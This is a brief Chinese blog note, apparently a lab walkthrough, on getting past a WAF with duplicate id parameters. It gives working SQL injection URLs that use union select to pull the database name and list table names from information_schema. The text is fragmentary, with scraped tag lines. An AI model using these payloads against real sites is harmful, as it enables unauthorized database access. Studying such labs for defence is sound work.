标签：for class format png div alt amp image log
0x01找闭合 这里是WAF的jsp调到php的同样
第二个参数构造 偷看源码 闭合是"）
我们尝试一下构造爆破数据库名
login.php?id=1&id=-1") union select 1,database(),3%23
爆破表名
?id=1&id=-1") union select 1,(select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),3%23
0X03组合拳继续打
切记 学习之路 少就是多 慢就是快
标签：for class format png div alt amp image log
原文地址：https://www.cnblogs.com/-zhong/p/10952871.html
